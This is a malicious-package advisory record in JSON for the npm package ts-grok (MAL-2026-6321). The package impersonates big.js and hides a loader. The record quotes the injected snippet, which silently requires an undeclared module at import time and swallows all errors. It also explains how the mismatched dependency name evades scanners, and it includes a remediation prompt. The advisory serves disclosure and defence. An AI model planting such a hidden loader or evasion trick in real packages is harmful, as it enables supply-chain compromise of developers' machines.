{"answers":{"affected":"1 open source package ship an affected version, including ts-grok.","exploited":"There is no known exploitation of MAL-2026-6321 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-6321 is a malicious package in ts-grok, published on 23 Jun 2026."},"fix_prompt":"MAL-2026-6321 is a malicious package: ts-grok (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-6321/ (Markdown: https://insights.sbomify.com/MAL-2026-6321/index.md)","id":"MAL-2026-6321","markdown":"https://insights.sbomify.com/MAL-2026-6321/index.md","name":"MAL-2026-6321","record":{"aliases":["GHSA-qp73-r9hh-6vq9"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"Package ts-grok ships a verbatim copy of big.js v7.0.1 (same banner, author 'Michael Mclaughlin', repository URL https://github.com/MikeMcl/big.js.git, and identical keywords) with a single foreign code block injected into both big.js and big.mjs: `try { const doc = require(\"node-slot\"); doc.from_str().then(e =\u003e { }).catch(e =\u003e { }) } catch (error) { }`. The require fires whenever a consumer imports the package, and all errors are swallowed so the call is invisible. The declared runtime dependency in package.json is 'block-slot' (^1.0.9), not 'node-slot' — the actual loaded module name does not match anything declared, so dependency-review tooling and SCA scanners auditing package.json will not see the real second-stage module. Whatever 'node-slot' resolves to in the installer's node_modules is executed silently at import time. The package has no legitimate relationship to big.js; the impersonation is the lure and the hidden loader is the payload.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in ts-grok (npm)","id":"MAL-2026-6321","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"ts-grok","purl":"pkg:npm/ts-grok","source":"MAL-2026-6321"}],"products":null,"published":"2026-06-23","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-6321/"}